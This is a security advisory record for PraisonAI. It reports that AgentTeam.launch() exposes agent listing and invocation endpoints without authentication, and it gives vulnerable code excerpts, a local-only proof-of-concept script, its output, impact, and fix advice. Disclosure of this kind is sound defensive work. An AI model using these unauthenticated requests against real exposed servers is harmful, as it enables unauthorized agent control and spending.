{"id":"PYSEC-2026-3537","summary":"PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints","details":"# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI's documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n  the group `POST` route is registered at line 2007; the group handler invokes\n  `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n  registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n  2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n  - `GET /{path}/list`: lists deployed agents.\n  - `POST /{path}`: sequentially invokes all agents in the team.\n  - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n    ...\n    response = await loop.run_in_executor(\n        None,\n        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n    )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n    None,\n    copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n    return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n  python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n  \"results\": [\n    {\n      \"body\": {\n        \"agents\": [\n          {\n            \"id\": \"pov_agent\",\n            \"name\": \"pov_agent\"\n          }\n        ]\n      },\n      \"case\": \"no_auth_list\",\n      \"method\": \"GET\",\n      \"path\": \"/agents/list\",\n      \"status\": 200\n    },\n    {\n      \"case\": \"no_auth_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"wrong_bearer_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"no_auth_per_agent\",\n      \"method\": \"POST\",\n      \"path\": \"/agents/pov_agent\",\n      \"status\": 200,\n      \"body\": {\n        \"agent\": \"pov_agent\",\n        \"query\": \"marker\",\n        \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n      }\n    }\n  ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -\u003e int:\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\ndef main() -\u003e int:\n    port = _free_port()\n\n    agent = Agent(\n        name=\"pov_agent\",\n        role=\"tester\",\n        goal=\"test\",\n        backstory=\"test\",\n        llm=None,\n    )\n\n    def stub_chat(self, query, *args, **kwargs):\n        return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n    agent.chat = types.MethodType(stub_chat, agent)\n    team = Agents(agents=[agent])\n    launch_thread = threading.Thread(\n        target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n        daemon=True,\n    )\n    launch_thread.start()\n\n    base = f\"http://127.0.0.1:{port}\"\n    for _ in range(40):\n        try:\n            response = requests.get(base + \"/health\", timeout=0.25)\n            if response.status_code == 200:\n                break\n        except Exception:\n            time.sleep(0.1)\n    else:\n        raise SystemExit(\"[poc] MISS: server did not start\")\n\n    cases = [\n        (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n        (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n        (\n            \"wrong_bearer_group\",\n            \"POST\",\n            {\"Authorization\": \"Bearer definitely-wrong\"},\n            \"/agents\",\n            {\"query\": \"marker\"},\n        ),\n        (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n    ]\n    results = []\n    for name, method, headers, path, body in cases:\n        if method == \"GET\":\n            response = requests.get(base + path, headers=headers, timeout=5)\n        else:\n            response = requests.post(base + path, json=body, headers=headers, timeout=5)\n        try:\n            body = response.json()\n        except Exception:\n            body = response.text\n        results.append(\n            {\n                \"case\": name,\n                \"method\": method,\n                \"path\": path,\n                \"status\": response.status_code,\n                \"body\": body,\n            }\n        )\n\n    print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n    expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n    for result in results:\n        if result[\"status\"] != 200:\n            raise SystemExit(f\"[poc] MISS: {result['case']} returned {result['status']}\")\n        if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n            raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n        if result[\"case\"] == \"no_auth_list\":\n            continue\n        body_text = json.dumps(result[\"body\"], sort_keys=True)\n        if expected_marker not in body_text:\n            raise SystemExit(f\"[poc] MISS: marker absent for {result['case']}\")\n\n    print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer \u003ctoken\u003e` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n   - no token returns `401`;\n   - wrong token returns `403`;\n   - correct token can list agents;\n   - correct token can invoke the team endpoint;\n   - correct token can invoke the per-agent endpoint;\n   - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name '_server_lock' is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.","aliases":["CVE-2026-57118","GHSA-x8cv-xmq7-p8xp"],"modified":"2026-07-23T15:00:23.780962454Z","published":"2026-07-23T11:41:42.003832Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonaiagents"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x8cv-xmq7-p8xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57118"}],"affected":[{"package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.59"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143","0.0.144","0.0.145","0.0.146","0.0.147","0.0.148","0.0.149","0.0.15","0.0.150","0.0.151","0.0.152","0.0.153","0.0.154","0.0.155","0.0.156","0.0.157","0.0.158","0.0.159","0.0.16","0.0.160","0.0.161","0.0.162","0.0.163","0.0.164","0.0.165","0.0.166","0.0.167","0.0.168","0.0.169","0.0.17","0.0.170","0.0.171","0.0.172","0.0.173","0.0.174","0.0.175","0.0.176","0.0.177","0.0.178","0.0.179","0.0.18","0.0.180","0.0.181","0.0.182","0.0.183","0.0.184","0.0.185","0.0.187","0.0.188","0.0.189","0.0.19","0.0.190","0.0.191","0.0.192","0.0.193","0.0.194","0.0.195","0.0.196","0.0.197","0.0.198","0.0.199","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.56","0.0.57","0.0.58","0.0.59","0.0.6","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.8","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.9","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.10","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.2","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.25","0.11.27","0.11.28","0.11.29","0.11.3","0.11.30","0.11.31","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.12.10","0.12.11","0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.2","0.12.20","0.12.21","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.100","1.5.101","1.5.102","1.5.103","1.5.104","1.5.105","1.5.106","1.5.107","1.5.108","1.5.109","1.5.11","1.5.110","1.5.111","1.5.112","1.5.113","1.5.114","1.5.115","1.5.116","1.5.117","1.5.118","1.5.119","1.5.12","1.5.120","1.5.121","1.5.122","1.5.123","1.5.124","1.5.125","1.5.126","1.5.127","1.5.128","1.5.129","1.5.13","1.5.130","1.5.131","1.5.132","1.5.133","1.5.134","1.5.135","1.5.136","1.5.137","1.5.138","1.5.139","1.5.14","1.5.140","1.5.141","1.5.142","1.5.143","1.5.144","1.5.145","1.5.146","1.5.147","1.5.148","1.5.149","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.32","1.5.33","1.5.34","1.5.35","1.5.36","1.5.37","1.5.38","1.5.39","1.5.40","1.5.41","1.5.42","1.5.43","1.5.44","1.5.45","1.5.46","1.5.47","1.5.48","1.5.49","1.5.5","1.5.50","1.5.51","1.5.52","1.5.53","1.5.54","1.5.55","1.5.56","1.5.57","1.5.58","1.5.59","1.5.6","1.5.60","1.5.61","1.5.62","1.5.63","1.5.64","1.5.65","1.5.66","1.5.67","1.5.68","1.5.69","1.5.7","1.5.70","1.5.71","1.5.72","1.5.73","1.5.74","1.5.75","1.5.76","1.5.77","1.5.78","1.5.79","1.5.8","1.5.80","1.5.81","1.5.82","1.5.83","1.5.84","1.5.85","1.5.86","1.5.87","1.5.88","1.5.89","1.5.9","1.5.90","1.5.91","1.5.92","1.5.93","1.5.94","1.5.95","1.5.96","1.5.97","1.5.98","1.5.99","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.32","1.6.33","1.6.34","1.6.35","1.6.36","1.6.37","1.6.38","1.6.39","1.6.4","1.6.40","1.6.41","1.6.42","1.6.43","1.6.44","1.6.45","1.6.46","1.6.47","1.6.48","1.6.5","1.6.50","1.6.51","1.6.52","1.6.53","1.6.54","1.6.55","1.6.56","1.6.57","1.6.58","1.6.6","1.6.7","1.6.8","1.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-3537.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}